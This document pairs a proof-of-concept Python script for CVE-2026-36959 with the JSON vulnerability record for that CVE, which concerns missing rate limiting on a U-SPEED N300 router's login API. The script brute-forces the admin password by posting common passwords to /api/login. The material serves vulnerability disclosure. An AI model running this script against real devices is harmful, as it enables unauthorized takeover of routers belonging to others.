CVE-2026-36959

import requests # Target configuration target_url = "http://<ROUTER_IP>/api/login" username = "admin" # Common password list for demonstration password_list = ["admin", "password", "12345678", "root", "admin123"] print(f"[*] Starting brute force attack on {target_url}") for password in password_list: payload = { "username": username, "password": password } try: # Send login request response = requests.post(target_url, json=payload, timeout=5) # Check for successful login indicators (adjust based on actual response) if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] SUCCESS! Password found: {password}") print(f"[+] Response: {response.text}") break else: print(f"[-] Failed attempt with password: {password}") except requests.RequestException as e: print(f"[!] Connection error: {e}") break

{"cve": {"id": "CVE-2026-36959", "sourceIdentifier": "[email protected]", "published": "2026-04-30T15:16:23.077", "lastModified": "2026-05-05T03:00:23.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "U-SPEED N300 router V1.0.0 does not implement rate limiting or account lockout protections on the /api/login endpoint. This allows an attacker on the local network to perform unlimited authentication attempts, enabling brute-force attacks against the administrator account and potential unauthorized access to the router management interface."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:u-speed:n300_firmware:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "CA1BC4D0-0B7E-4D7B-86CF-BDAF840BE683"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:u-speed:n300:-:*:*:*:*:*:*:*", "matchCriteriaId": "9353B74A-54EE-47D6-AE12-294C0668DDCB"}]}]}], "references": [{"url": "http://u-speed.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/kirubel-cve/CVE-2026-36959", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/kirubel-cve/CVE-2026-36959", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}